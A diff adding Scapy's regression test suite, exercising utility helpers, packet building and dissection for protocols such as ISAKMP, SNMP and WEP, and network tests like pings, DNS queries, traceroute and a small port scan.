+    except:
+        raise
+        return False
+    finally:
+        sys.ps1 = ">>> "
+
+assert interact_emulator()  # Default
+assert not interact_emulator(extra_args=["-?"])  # Failing
+assert interact_emulator(extra_args=["-d"])  # Extended
+
+= Test sane function
+sane("A\x00\xFFB") == "A..B"
+
+= Test lhex function
+assert(lhex(42) == "0x2a")
+assert(lhex((28,7)) == "(0x1c, 0x7)")
+assert(lhex([28,7]) == "[0x1c, 0x7]")
+
+= Test restart function
+import mock
+conf.interactive = True
+
+try:
+    from scapy.utils import restart
+    import os
+    @mock.patch("os.execv")
+    @mock.patch("subprocess.call")
+    @mock.patch("os._exit")
+    def _test(e, m, m2):
+        def check(x, y=[]):
+            z = [x] + y if not isinstance(x, list) else x + y
+            assert os.path.isfile(z[0])
+            assert os.path.isfile(z[1])
+            return 0
+        m2.side_effect = check
+        m.side_effect = check
+        e.side_effect = lambda x: None
+        restart()
+    _test()
+finally:
+    conf.interactive = False
+
+= Test linehexdump function
+conf_color_theme = conf.color_theme
+conf.color_theme = BlackAndWhite()
+assert(linehexdump(Ether(src="00:01:02:03:04:05"), dump=True) == "FFFFFFFFFFFF0001020304059000 ..............")
+conf.color_theme = conf_color_theme
+
+= Test chexdump function
+chexdump(Ether(src="00:01:02:02:04:05"), dump=True) == "0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0x02, 0x02, 0x04, 0x05, 0x90, 0x00"
+
+= Test repr_hex function
+repr_hex("scapy") == "7363617079"
+
+= Test hexstr function
+hexstr(b"A\x00\xFFB") == "41 00 ff 42  A..B"
+
+= Test fletcher16 functions
+assert(fletcher16_checksum(b"\x28\x07") == 22319)
+assert(fletcher16_checkbytes(b"\x28\x07", 1) == b"\xaf(")
+
+= Test hexdiff function
+~ not_pypy
+def test_hexdiff():
+    conf_color_theme = conf.color_theme
+    conf.color_theme = BlackAndWhite()
+    with ContextManagerCaptureOutput() as cmco:
+        hexdiff("abcde", "abCde")
+        result_hexdiff = cmco.get_output()
+    conf.interactive = True
+    conf.color_theme = conf_color_theme
+    expected  = "0000        61 62 63 64 65                                     abcde\n"
+    expected += "     0000   61 62 43 64 65                                     abCde\n"
+    assert(result_hexdiff == expected)
+
+test_hexdiff()
+
+= Test mysummary functions - Ether
+
+Ether(dst="ff:ff:ff:ff:ff:ff", src="ff:ff:ff:ff:ff:ff", type=0x9000)
+assert _.mysummary() in ['ff:ff:ff:ff:ff:ff > ff:ff:ff:ff:ff:ff (%s)' % loop
+                         for loop in ['0x9000', 'LOOP']]
+
+= Test zerofree_randstring function
+random.seed(0x2807)
+zerofree_randstring(4) in [b"\xd2\x12\xe4\x5b", b'\xd3\x8b\x13\x12']
+
+= Test export_object and import_object functions
+import mock
+def test_export_import_object():
+    with ContextManagerCaptureOutput() as cmco:
+        export_object(2807)
+        result_export_object = cmco.get_output(eval_bytes=True)
+    assert(result_export_object.startswith("eNprYPL9zqUHAAdrAf8="))
+    assert(import_object(result_export_object) == 2807)
+
+test_export_import_object()
+
+= Test tex_escape function
+tex_escape("$#_") == "\\$\\#\\_"
+
+= Test colgen function
+f = colgen(range(3))
+assert(len([next(f) for i in range(2)]) == 2)
+
+= Test incremental_label function
+f = incremental_label()
+assert([next(f) for i in range(2)] == ["tag00000", "tag00001"])
+
+= Test corrupt_* functions
+import random
+random.seed(0x2807)
+assert(corrupt_bytes("ABCDE") in [b"ABCDW", b"ABCDX"])
+assert(sane(corrupt_bytes("ABCDE", n=3)) in ["A.8D4", ".2.DE"])
+
+assert(corrupt_bits("ABCDE") in [b"EBCDE", b"ABCDG"])
+assert(sane(corrupt_bits("ABCDE", n=3)) in ["AF.EE", "QB.TE"])
+
+= Test save_object and load_object functions
+import tempfile
+fd, fname = tempfile.mkstemp()
+save_object(fname, 2807)
+assert(load_object(fname) == 2807)
+
+= Test whois function
+if not WINDOWS:
+    result = whois("193.0.6.139")
+    assert(b"inetnum" in result and b"Amsterdam" in result)
+
+= Test manuf DB methods
+~ manufdb
+assert(conf.manufdb._resolve_MAC("00:00:0F:01:02:03") == "Next:01:02:03")
+assert(conf.manufdb._get_short_manuf("00:00:0F:01:02:03") == "Next")
+assert(in6_addrtovendor("fe80::0200:0fff:fe01:0203").lower().startswith("next"))
+
+= Test utility functions - network related
+~ netaccess
+
+atol("www.secdev.org") == 3642339845
+
+= Test autorun functions
+
+ret = autorun_get_text_interactive_session("IP().src")
+assert(ret == (">>> IP().src\n'127.0.0.1'\n", '127.0.0.1'))
+
+ret = autorun_get_html_interactive_session("IP().src")
+assert(ret == ("<span class=prompt>&gt;&gt;&gt; </span>IP().src\n'127.0.0.1'\n", '127.0.0.1'))
+
+ret = autorun_get_latex_interactive_session("IP().src")
+assert(ret == ("\\textcolor{blue}{{\\tt\\char62}{\\tt\\char62}{\\tt\\char62} }IP().src\n'127.0.0.1'\n", '127.0.0.1'))
+
+= Test utility TEX functions
+
+assert tex_escape("{scapy}\\^$~#_&%|><") == "{\\tt\\char123}scapy{\\tt\\char125}{\\tt\\char92}\\^{}\\${\\tt\\char126}\\#\\_\\&\\%{\\tt\\char124}{\\tt\\char62}{\\tt\\char60}"
+
+a = colgen(1, 2, 3)
+assert next(a) == (1, 2, 2)
+assert next(a) == (1, 3, 3)
+assert next(a) == (2, 2, 1)
+assert next(a) == (2, 3, 2)
+assert next(a) == (2, 1, 3)
+assert next(a) == (3, 3, 1)
+assert next(a) == (3, 1, 2)
+assert next(a) == (3, 2, 3)
+
+= Test config file functions
+
+saved_conf_verb = conf.verb
+fd, fname = tempfile.mkstemp()
+os.write(fd, b"conf.verb = 42\n")
+os.close(fd)
+from scapy.main import _read_config_file
+_read_config_file(fname, globals(), locals())
+assert(conf.verb == 42)
+conf.verb = saved_conf_verb
+
+= Test CacheInstance repr
+
+conf.netcache
+
+
+############
+############
++ Basic tests
+
+* Those test are here mainly to check nothing has been broken
+* and to catch Exceptions
+
+= Packet class methods
+p = IP()/ICMP()
+ret = p.do_build_ps()                                                                                                                             
+assert(ret[0] == b"@\x00\x00\x00\x00\x01\x00\x00@\x01\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\x00\x00\x00\x00\x00\x00")
+assert(len(ret[1]) == 2)
+
+assert(p[ICMP].firstlayer() == p)
+
+assert(p.command() == "IP()/ICMP()")
+
+p.decode_payload_as(UDP)
+assert(p.sport == 2048 and p.dport == 63487)
+
+= hide_defaults
+conf_color_theme = conf.color_theme
+conf.color_theme = BlackAndWhite()
+p = IP(ttl=64)/ICMP()
+assert(repr(p) in ["<IP  frag=0 ttl=64 proto=icmp |<ICMP  |>>", "<IP  frag=0 ttl=64 proto=1 |<ICMP  |>>"])
+p.hide_defaults()
+assert(repr(p) in ["<IP  frag=0 proto=icmp |<ICMP  |>>", "<IP  frag=0 proto=1 |<ICMP  |>>"])
+conf.color_theme = conf_color_theme
+
+= split_layers
+p = IP()/ICMP()
+s = raw(p)
+split_layers(IP, ICMP, proto=1)
+assert(Raw in IP(s))
+bind_layers(IP, ICMP, frag=0, proto=1)
+
+= fuzz
+~ not_pypy random_weird_py3
+random.seed(0x2807)
+raw(fuzz(IP()/ICMP()))
+assert _ in [
+    b'u\x14\x00\x1c\xc2\xf6\x80\x00\xde\x01k\xd3\x7f\x00\x00\x01\x7f\x00\x00\x01y\xc9>\xa6\x84\xd8\xc2\xb7',
+    b'E\xa7\x00\x1c\xb0c\xc0\x00\xf6\x01U\xd3\x7f\x00\x00\x01\x7f\x00\x00\x01\xfex\xb3\x92B<\x0b\xb8',
+]
+
+= Building some packets
+~ basic IP TCP UDP NTP LLC SNAP Dot11
+IP()/TCP()
+Ether()/IP()/UDP()/NTP()
+Dot11()/LLC()/SNAP()/IP()/TCP()/"XXX"
+IP(ttl=25)/TCP(sport=12, dport=42)
+IP().summary()
+
+= Manipulating some packets
+~ basic IP TCP
+a=IP(ttl=4)/TCP()
+a.ttl
+a.ttl=10
+del(a.ttl)
+a.ttl
+TCP in a
+a[TCP]
+a[TCP].dport=[80,443]
+a
+assert(a.copy().time == a.time)
+a=3
+
+
+= Checking overloads
+~ basic IP TCP Ether
+a=Ether()/IP()/TCP()
+a.proto
+_ == 6
+
+
+= sprintf() function
+~ basic sprintf Ether IP UDP NTP
+a=Ether()/IP()/IP(ttl=4)/UDP()/NTP()
+a.sprintf("%type% %IP.ttl% %#05xr,UDP.sport% %IP:2.ttl%")
+_ in [ '0x800 64 0x07b 4', 'IPv4 64 0x07b 4']
+
+
+= sprintf() function 
+~ basic sprintf IP TCP SNAP LLC Dot11
+* This test is on the conditionnal substring feature of <tt>sprintf()</tt>
+a=Dot11()/LLC()/SNAP()/IP()/TCP()
+a.sprintf("{IP:{TCP:flags=%TCP.flags%}{UDP:port=%UDP.ports%} %IP.src%}")
+_ == 'flags=S 127.0.0.1'
+
+
+= haslayer function
+~ basic haslayer IP TCP ICMP ISAKMP
+x=IP(id=1)/ISAKMP_payload_SA(prop=ISAKMP_payload_SA(prop=IP()/ICMP()))/TCP()
+TCP in x, ICMP in x, IP in x, UDP in x
+_ == (True,True,True,False)
+
+= getlayer function
+~ basic getlayer IP ISAKMP UDP
+x=IP(id=1)/ISAKMP_payload_SA(prop=IP(id=2)/UDP(dport=1))/IP(id=3)/UDP(dport=2)
+x[IP]
+x[IP:2]
+x[IP:3]
+x.getlayer(IP,3)
+x.getlayer(IP,4)
+x[UDP]
+x[UDP:1]
+x[UDP:2]
+assert(x[IP].id == 1 and x[IP:2].id == 2 and x[IP:3].id == 3 and 
+       x.getlayer(IP).id == 1 and x.getlayer(IP,3).id == 3 and
+       x.getlayer(IP,4) == None and
+       x[UDP].dport == 1 and x[UDP:2].dport == 2)
+try:
+    x[IP:4]
+except IndexError:
+    True
+else:
+    False
+
+= getlayer with a filter
+~ getlayer IP
+pkt = IP() / IP(ttl=3) / IP()
+assert pkt[IP::{"ttl":3}].ttl == 3
+assert pkt.getlayer(IP, ttl=3).ttl == 3
+
+= specific haslayer and getlayer implementations for NTP
+~ haslayer getlayer NTP
+pkt = IP() / UDP() / NTPHeader()
+assert NTP in pkt
+assert pkt.haslayer(NTP)
+assert isinstance(pkt[NTP], NTPHeader)
+assert isinstance(pkt.getlayer(NTP), NTPHeader)
+
+= specific haslayer and getlayer implementations for EAP
+~ haslayer getlayer EAP
+pkt = Ether() / EAPOL() / EAP_MD5()
+assert EAP in pkt
+assert pkt.haslayer(EAP)
+assert isinstance(pkt[EAP], EAP_MD5)
+assert isinstance(pkt.getlayer(EAP), EAP_MD5)
+
+= specific haslayer and getlayer implementations for RadiusAttribute
+~ haslayer getlayer RadiusAttribute
+pkt = RadiusAttr_EAP_Message()
+assert RadiusAttribute in pkt
+assert pkt.haslayer(RadiusAttribute)
+assert isinstance(pkt[RadiusAttribute], RadiusAttr_EAP_Message)
+assert isinstance(pkt.getlayer(RadiusAttribute), RadiusAttr_EAP_Message)
+
+
+= equality
+~ basic
+w=Ether()/IP()/UDP(dport=53)
+x=Ether()/IP(version=4)/UDP()
+y=Ether()/IP()/UDP(dport=4)
+z=Ether()/IP()/UDP()/NTP()
+t=Ether()/IP()/TCP()
+x==y, x==z, x==t, y==z, y==t, z==t, w==x
+_ == (False, False, False, False, False, False, True)
+
+= answers
+~ basic
+a1, a2 = "1.2.3.4", "5.6.7.8"
+p1 = IP(src=a1, dst=a2)/ICMP(type=8)
+p2 = IP(src=a2, dst=a1)/ICMP(type=0)
+assert p1.hashret() == p2.hashret()
+assert not p1.answers(p2)
+assert p2.answers(p1)
+assert p1 > p2
+assert p2 < p1
+assert p1 == p1
+conf_back = conf.checkIPinIP
+conf.checkIPinIP = True
+px = [IP()/p1, IPv6()/p1]
+assert not any(p.hashret() == p2.hashret() for p in px)
+assert not any(p.answers(p2) for p in px)
+assert not any(p2.answers(p) for p in px)
+conf.checkIPinIP = False
+assert all(p.hashret() == p2.hashret() for p in px)
+assert not any(p.answers(p2) for p in px)
+assert all(p2.answers(p) for p in px)
+conf.checkIPinIP = conf_back
+
+a1, a2 = Net("www.google.com"), Net("www.secdev.org")
+prt1, prt2 = 12345, 54321
+s1, s2 = 2767216324, 3845532842
+p1 = IP(src=a1, dst=a2)/TCP(flags='SA', seq=s1, ack=s2, sport=prt1, dport=prt2)
+p2 = IP(src=a2, dst=a1)/TCP(flags='R', seq=s2, ack=0, sport=prt2, dport=prt1)
+assert p2.answers(p1)
+assert not p1.answers(p2)
+# Not available yet because of IPv6
+# a1, a2 = Net6("www.google.com"), Net6("www.secdev.org")
+p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2)
+p2 = IP(src=a2, dst=a1)/TCP(flags='RA', seq=0, ack=s1+1, sport=prt2, dport=prt1)
+assert p2.answers(p1)
+assert not p1.answers(p2)
+p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2)
+p2 = IP(src=a2, dst=a1)/TCP(flags='SA', seq=s2, ack=s1+1, sport=prt2, dport=prt1)
+assert p2.answers(p1)
+assert not p1.answers(p2)
+p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1, ack=s2+1, sport=prt1, dport=prt2)
+assert not p2.answers(p1)
+assert p1.answers(p2)
+p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2)
+p2 = IP(src=a2, dst=a1)/TCP(flags='SA', seq=s2, ack=s1+10, sport=prt2, dport=prt1)
+assert not p2.answers(p1)
+assert not p1.answers(p2)
+p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1, ack=s2+1, sport=prt1, dport=prt2)
+assert not p2.answers(p1)
+assert not p1.answers(p2)
+p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1+9, ack=s2+10, sport=prt1, dport=prt2)
+assert not p2.answers(p1)
+assert not p1.answers(p2)
+
+
+############
+############
++ Tests on padding
+
+= Padding assembly
+raw(Padding("abc"))
+assert( _ == b"abc" )
+raw(Padding("abc")/Padding("def"))
+assert( _ == b"abcdef" )
+raw(Raw("ABC")/Padding("abc")/Padding("def"))
+assert( _ == b"ABCabcdef" )
+raw(Raw("ABC")/Padding("abc")/Raw("DEF")/Padding("def"))
+assert( _ == b"ABCDEFabcdef" )
+
+= Padding and length computation
+IP(raw(IP()/Padding("abc")))
+assert( _.len == 20 and len(_) == 23 )
+IP(raw(IP()/Raw("ABC")/Padding("abc")))
+assert( _.len == 23 and len(_) == 26 )
+IP(raw(IP()/Raw("ABC")/Padding("abc")/Padding("def")))
+assert( _.len == 23 and len(_) == 29 )
+
+= PadField test
+~ PadField padding
+
+class TestPad(Packet):
+    fields_desc = [ PadField(StrNullField("st", b""),4), StrField("id", b"")]
+
+TestPad() == TestPad(raw(TestPad()))
+
+
+############
+############
++ Tests on default value changes mechanism
+
+= Creation of an IPv3 class from IP class with different default values
+class IPv3(IP):
+    version = 3
+    ttl = 32
+
+= Test of IPv3 class
+a = IPv3()
+a.version, a.ttl
+assert(_ == (3,32))
+raw(a)
+assert(_ == b'5\x00\x00\x14\x00\x01\x00\x00 \x00\xac\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01')
+
+
+############
+############
++ ISAKMP transforms test
+
+= ISAKMP creation
+~ IP UDP ISAKMP 
+p=IP(src='192.168.8.14',dst='10.0.0.1')/UDP()/ISAKMP()/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal(trans=ISAKMP_payload_Transform(transforms=[('Encryption', 'AES-CBC'), ('Hash', 'MD5'), ('Authentication', 'PSK'), ('GroupDesc', '1536MODPgr'), ('KeyLength', 256), ('LifeType', 'Seconds'), ('LifeDuration', 86400)])/ISAKMP_payload_Transform(res2=12345,transforms=[('Encryption', '3DES-CBC'), ('Hash', 'SHA'), ('Authentication', 'PSK'), ('GroupDesc', '1024MODPgr'), ('LifeType', 'Seconds'), ('LifeDuration', 86400)])))
+p.show()
+p
+
+
+= ISAKMP manipulation
+~ ISAKMP
+p[ISAKMP_payload_Transform:2]
+_.res2 == 12345
+
+= ISAKMP assembly
+~ ISAKMP 
+hexdump(p)
+raw(p) == b"E\x00\x00\x96\x00\x01\x00\x00@\x11\xa7\x9f\xc0\xa8\x08\x0e\n\x00\x00\x01\x01\xf4\x01\xf4\x00\x82\xbf\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x00\x00\x00^\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00R\x01\x01\x00\x00\x03\x00\x00'\x00\x01\x00\x00\x80\x01\x00\x07\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x05\x80\x0e\x01\x00\x80\x0b\x00\x01\x00\x0c\x00\x03\x01Q\x80\x00\x00\x00#\x00\x0109\x80\x01\x00\x05\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0b\x00\x01\x00\x0c\x00\x03\x01Q\x80"
+
+
+= ISAKMP disassembly
+~ ISAKMP
+q=IP(raw(p))
+q.show()
+q[ISAKMP_payload_Transform:2]
+_.res2 == 12345
+
+
+############
+############
++ TFTP tests
+
+= TFTP Options
+x=IP()/UDP(sport=12345)/TFTP()/TFTP_RRQ(filename="fname")/TFTP_Options(options=[TFTP_Option(oname="blksize", value="8192"),TFTP_Option(oname="other", value="othervalue")])
+assert( raw(x) == b'E\x00\x00H\x00\x01\x00\x00@\x11|\xa2\x7f\x00\x00\x01\x7f\x00\x00\x0109\x00E\x004B6\x00\x01fname\x00octet\x00blksize\x008192\x00other\x00othervalue\x00' )
+y=IP(raw(x))
+y[TFTP_Option].oname
+y[TFTP_Option:2].oname
+assert(len(y[TFTP_Options].options) == 2 and y[TFTP_Option].oname == b"blksize")
+
+
+############
+############
++ Dot11 tests
+
+
+= WEP tests
+~ wifi crypto Dot11 LLC SNAP IP TCP
+conf.wepkey = "Fobar"
+raw(Dot11WEP()/LLC()/SNAP()/IP()/TCP(seq=12345678))
+assert(_ == b'\x00\x00\x00\x00\xe3OjYLw\xc3x_%\xd0\xcf\xdeu-\xc3pH#\x1eK\xae\xf5\xde\xe7\xb8\x1d,\xa1\xfe\xe83\xca\xe1\xfe\xbd\xfe\xec\x00)T`\xde.\x93Td\x95C\x0f\x07\xdd')
+Dot11WEP(_)
+assert(TCP in _ and _[TCP].seq == 12345678)
+
+= RadioTap Big-Small endian dissection
+data = b'\x00\x00\x1a\x00/H\x00\x00\xe1\xd3\xcb\x05\x00\x00\x00\x00@0x\x14@\x01\xac\x00\x00\x00'
+r = RadioTap(data)
+r.show()
+assert r.present == 18479
+
+
+############
+############
++ SNMP tests
+
+= SNMP assembling
+~ SNMP ASN1
+raw(SNMP())
+assert(_ == b'0\x18\x02\x01\x01\x04\x06public\xa0\x0b\x02\x01\x00\x02\x01\x00\x02\x01\x000\x00')
+SNMP(version="v2c", community="ABC", PDU=SNMPbulk(id=4,varbindlist=[SNMPvarbind(oid="1.2.3.4",value=ASN1_INTEGER(7)),SNMPvarbind(oid="4.3.2.1.2.3",value=ASN1_IA5_STRING("testing123"))]))
+raw(_)
+assert(_ == b'05\x02\x01\x01\x04\x03ABC\xa5+\x02\x01\x04\x02\x01\x00\x02\x01\x000 0\x08\x06\x03*\x03\x04\x02\x01\x070\x14\x06\x06\x81#\x02\x01\x02\x03\x16\ntesting123')
+
+= SNMP disassembling
+~ SNMP ASN1
+x=SNMP(b'0y\x02\x01\x00\x04\x06public\xa2l\x02\x01)\x02\x01\x00\x02\x01\x000a0!\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x07\n\x86\xde\xb78\x04\x0b172.31.19.20#\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x07\n\x86\xde\xb76\x04\r255.255.255.00\x17\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x05\n\x86\xde\xb9`\x02\x01\x01')
+x.show()
+assert(x.community==b"public" and x.version == 0)
+assert(x.PDU.id == 41 and len(x.PDU.varbindlist) == 3)
+assert(x.PDU.varbindlist[0].oid == "1.3.6.1.4.1.253.8.64.4.2.1.7.10.14130104")
+assert(x.PDU.varbindlist[0].value == b"172.31.19.2")
+assert(x.PDU.varbindlist[2].oid == "1.3.6.1.4.1.253.8.64.4.2.1.5.10.14130400")
+assert(x.PDU.varbindlist[2].value == 1)
+
+= ASN1 - ASN1_Object
+assert ASN1_Object(1) == ASN1_Object(1)
+assert ASN1_Object(1) > ASN1_Object(0)
+assert ASN1_Object(1) >= ASN1_Object(1)
+assert ASN1_Object(0) < ASN1_Object(1)
+assert ASN1_Object(1) <= ASN1_Object(2)
+assert ASN1_Object(1) != ASN1_Object(2)
+ASN1_Object(2).show()
+
+= ASN1 - RandASN1Object
+~ random_weird_py3
+a = RandASN1Object()
+random.seed(0x2807)
+assert raw(a) in [b'A\x02\x07q', b'C\x02\xfe\x92', b'\x1e\x023V']
+
+= ASN1 - ASN1_BIT_STRING
+a = ASN1_BIT_STRING("test", "value")
+a
+assert raw(a) == b'test'
+
+a = ASN1_BIT_STRING(b"\xff"*16, "value")
+a
+assert raw(a) == b'\xff'*16
+
+= ASN1 - ASN1_SEQUENCE
+a = ASN1_SEQUENCE([ASN1_Object(1), ASN1_Object(0)])
+assert a.strshow() == '# ASN1_SEQUENCE:\n  <ASN1_Object[1]>\n  <ASN1_Object[0]>\n'
+
+= ASN1 - ASN1_DECODING_ERROR
+a = ASN1_DECODING_ERROR("error", exc=OSError(1))
+assert repr(a) == "<ASN1_DECODING_ERROR['error']{{1}}>"
+b = ASN1_DECODING_ERROR("error", exc=OSError(ASN1_BIT_STRING("0")))
+assert repr(b) == "<ASN1_DECODING_ERROR['error']{{<ASN1_BIT_STRING[0] (7 unused bits)>}}>"
+
+= ASN1 - ASN1_INTEGER
+a = ASN1_INTEGER(int("1"*23))
+assert repr(a) in ["0x25a55a46e5da99c71c7 <ASN1_INTEGER[1111111111...1111111111]>",
+                   "0x25a55a46e5da99c71c7 <ASN1_INTEGER[1111111111...111111111L]>"]
+
+= RandASN1Object(), specific crashes
+
+import random
+
+# ASN1F_NUMERIC_STRING
+random.seed(1514315682)
+raw(RandASN1Object())
+
+# ASN1F_VIDEOTEX_STRING
+random.seed(1240186058)
+raw(RandASN1Object())
+
+# ASN1F_UTC_TIME & ASN1F_GENERALIZED_TIME
+random.seed(1873503288)
+raw(RandASN1Object())
+
+
+############
+############
++ Network tests
+
+* Those tests need network access
+
+= Sending and receiving an ICMP
+~ netaccess IP ICMP
+old_debug_dissector = conf.debug_dissector
+conf.debug_dissector = False
+x = sr1(IP(dst="www.google.com")/ICMP(),timeout=3)
+conf.debug_dissector = old_debug_dissector
+x
+assert x[IP].ottl() in [32, 64, 128, 255]
+assert 0 <= x[IP].hops() <= 126
+x is not None and ICMP in x and x[ICMP].type == 0
+
+= Sending an ICMP message at layer 2 and layer 3
+~ netaccess IP ICMP
+tmp = send(IP(dst="8.8.8.8")/ICMP(), return_packets=True, realtime=True)
+assert(len(tmp) == 1)
+
+tmp = sendp(Ether()/IP(dst="8.8.8.8")/ICMP(), return_packets=True, realtime=True)
+assert(len(tmp) == 1)
+
+= Sending an ICMP message 'forever' at layer 2 and layer 3
+~ netaccess IP ICMP
+tmp = srloop(IP(dst="8.8.8.8")/ICMP(), count=1)
+assert(type(tmp) == tuple and len(tmp[0]) == 1)
+
+tmp = srploop(Ether()/IP(dst="8.8.8.8")/ICMP(), count=1)
+assert(type(tmp) == tuple and len(tmp[0]) == 1)
+
+= Sending and receiving an ICMP with flooding methods
+~ netaccess IP ICMP
+from functools import partial
+# flooding methods do not support timeout. Packing the test for security
+def _test_flood(flood_function, add_ether=False):
+    old_debug_dissector = conf.debug_dissector
+    conf.debug_dissector = False
+    p = IP(dst="www.google.com")/ICMP()
+    if add_ether:
+        p = Ether()/p
+    x = flood_function(p)
+    conf.debug_dissector = old_debug_dissector
+    if type(x) == tuple:
+        x = x[0][0][1]
+    x
+    assert x[IP].ottl() in [32, 64, 128, 255]
+    assert 0 <= x[IP].hops() <= 126
+    x is not None and ICMP in x and x[ICMP].type == 0
+
+_test_srflood = partial(_test_flood, srflood)
+t = Thread(target=_test_srflood)
+t.start()
+t.join(3)
+assert not t.is_alive()
+
+_test_sr1flood = partial(_test_flood, sr1flood)
+t = Thread(target=_test_sr1flood)
+t.start()
+t.join(3)
+assert not t.is_alive()
+
+_test_srpflood = partial(_test_flood, srpflood, True)
+t = Thread(target=_test_sr1flood)
+t.start()
+t.join(3)
+assert not t.is_alive()
+
+_test_srp1flood = partial(_test_flood, srp1flood, True)
+t = Thread(target=_test_sr1flood)
+t.start()
+t.join(3)
+assert not t.is_alive()
+
+= Sending and receiving an ICMPv6EchoRequest
+~ netaccess ipv6
+old_debug_dissector = conf.debug_dissector
+conf.debug_dissector = False
+x = sr1(IPv6(dst="www.google.com")/ICMPv6EchoRequest(),timeout=3)
+conf.debug_dissector = old_debug_dissector
+x
+assert x[IPv6].ottl() in [32, 64, 128, 255]
+assert 0 <= x[IPv6].hops() <= 126
+x is not None and ICMPv6EchoReply in x and x[ICMPv6EchoReply].type == 129
+
+= DNS request
+~ netaccess IP UDP DNS
+* A possible cause of failure could be that the open DNS (resolver1.opendns.com)
+* is not reachable or down.
+old_debug_dissector = conf.debug_dissector
+conf.debug_dissector = False
+dns_ans = sr1(IP(dst="resolver1.opendns.com")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.com")),timeout=5)
+conf.debug_dissector = old_debug_dissector
+DNS in dns_ans
+
+= Whois request
+~ netaccess IP
+* This test retries on failure because it often fails
+import time
+import socket
+success = False
+for i in six.moves.range(5):
+    try:
+        IP(src="8.8.8.8").whois()
+    except socket.error:
+        time.sleep(2)
+    else:
+        success = True
+        break
+
+assert success
+
+= AS resolvers
+~ netaccess IP
+* This test retries on failure because it often fails
+
+ret = list()
+success = False
+for i in six.moves.range(5):
+    try:
+        ret = conf.AS_resolver.resolve("8.8.8.8", "8.8.4.4")
+    except RuntimeError:
+        time.sleep(2)
+    else:
+        success = True
+        break
+
+assert (len(ret) == 2)
+all(x[1] == "AS15169" for x in ret)
+
+ret = list()
+success = False
+for i in six.moves.range(5):
+    try:
+        ret = AS_resolver_riswhois().resolve("8.8.8.8")
+    except socket.error:
+        time.sleep(2)
+    else:
+        success = True
+        break
+
+assert (len(ret) == 1)
+assert all(x[1] == "AS15169" for x in ret)
+
+# This test is too buggy, and is simulated below
+#ret = list()
+#success = False
+#for i in six.moves.range(5):
+#    try:
+#        ret = AS_resolver_cymru().resolve("8.8.8.8")
+#    except socket.error:
+#        time.sleep(2)
+#    else:
+#        success = True
+#        break
+#
+#assert (len(ret) == 1)
+#
+#all(x[1] == "AS15169" for x in ret)
+
+cymru_bulk_data = """
+Bulk mode; whois.cymru.com [2017-10-03 08:38:08 +0000]
+24776   | 217.25.178.5     | INFOCLIP-AS, FR
+36459   | 192.30.253.112   | GITHUB - GitHub, Inc., US
+26496   | 68.178.213.61    | AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US
+"""
+tmp = AS_resolver_cymru().parse(cymru_bulk_data)
+assert(len(tmp) == 3)
+assert([l[1] for l in tmp] == ['AS24776', 'AS36459', 'AS26496'])
+
+= AS resolver - IPv6
+~ netaccess IP
+* This test retries on failure because it often fails
+
+ret = list()
+success = False
+as_resolver6 = AS_resolver6()
+for i in six.moves.range(5):
+    try:
+        ret = as_resolver6.resolve("2001:4860:4860::8888", "2001:4860:4860::4444")
+    except socket.error:
+        time.sleep(2)
+    else:
+        success = True
+        break
+
+assert (len(ret) == 2)
+assert all(x[1] == 15169 for x in ret)
+
+= sendpfast
+
+old_interactive = conf.interactive
+conf.interactive = False
+try:
+    sendpfast([])
+    assert False
+except Exception:
+    assert True
+
+conf.interactive = old_interactive
+assert True
+
+############
+############
++ More complex tests
+
+= Implicit logic
+~ IP TCP
+a = Ether() / IP(ttl=(5, 10)) / TCP(dport=[80, 443])
+ls(a)
+ls(a, verbose=True)
+[p for p in a]
+len(_) == 12
+
+
+############
+############
++ Real usages
+
+= Port scan
+~ netaccess IP TCP
+old_debug_dissector = conf.debug_dissector
+conf.debug_dissector = False
+ans,unans=sr(IP(dst="www.google.com/30")/TCP(dport=[80,443]),timeout=2)
+conf.debug_dissector = old_debug_dissector
+ans.make_table(lambda s_r: (s_r[0].dst, s_r[0].dport, s_r[1].sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}")))
+
+= Send & receive with retry
+~ netaccess IP ICMP
+old_debug_dissector = conf.debug_dissector
+conf.debug_dissector = False
+ans, unans = sr(IP(dst=["8.8.8.8", "1.2.3.4"]) / ICMP(), timeout=2, retry=1)
+conf.debug_dissector = old_debug_dissector
+len(ans) == 1 and len(unans) == 1
+
+= Traceroute function
+~ netaccess
+* Let's test traceroute
+traceroute("www.slashdot.org")
+ans,unans=_
+
+= Result manipulation
+~ netaccess
+ans.nsummary()
+s,r=ans[0]
+s.show()
+s.show(2)
+
+= DNS packet manipulation
+~ netaccess IP UDP DNS
+dns_ans.show()
+dns_ans.show2()
+dns_ans[DNS].an.show()
+dns_ans2 = IP(raw(dns_ans))
+DNS in dns_ans2
+assert(raw(dns_ans2) == raw(dns_ans))
+dns_ans2.qd.qname = "www.secdev.org."
+* We need to recalculate these values
+del(dns_ans2[IP].len)
+del(dns_ans2[IP].chksum)
+del(dns_ans2[UDP].len)
+del(dns_ans2[UDP].chksum)
+assert(b"\x03www\x06secdev\x03org\x00" in raw(dns_ans2))
+assert(DNS in IP(raw(dns_ans2)))
+
+= Arping
+~ netaccess
+* This test assumes the local network is a /24. This is bad.
+conf.route.route("0.0.0.0")[2]
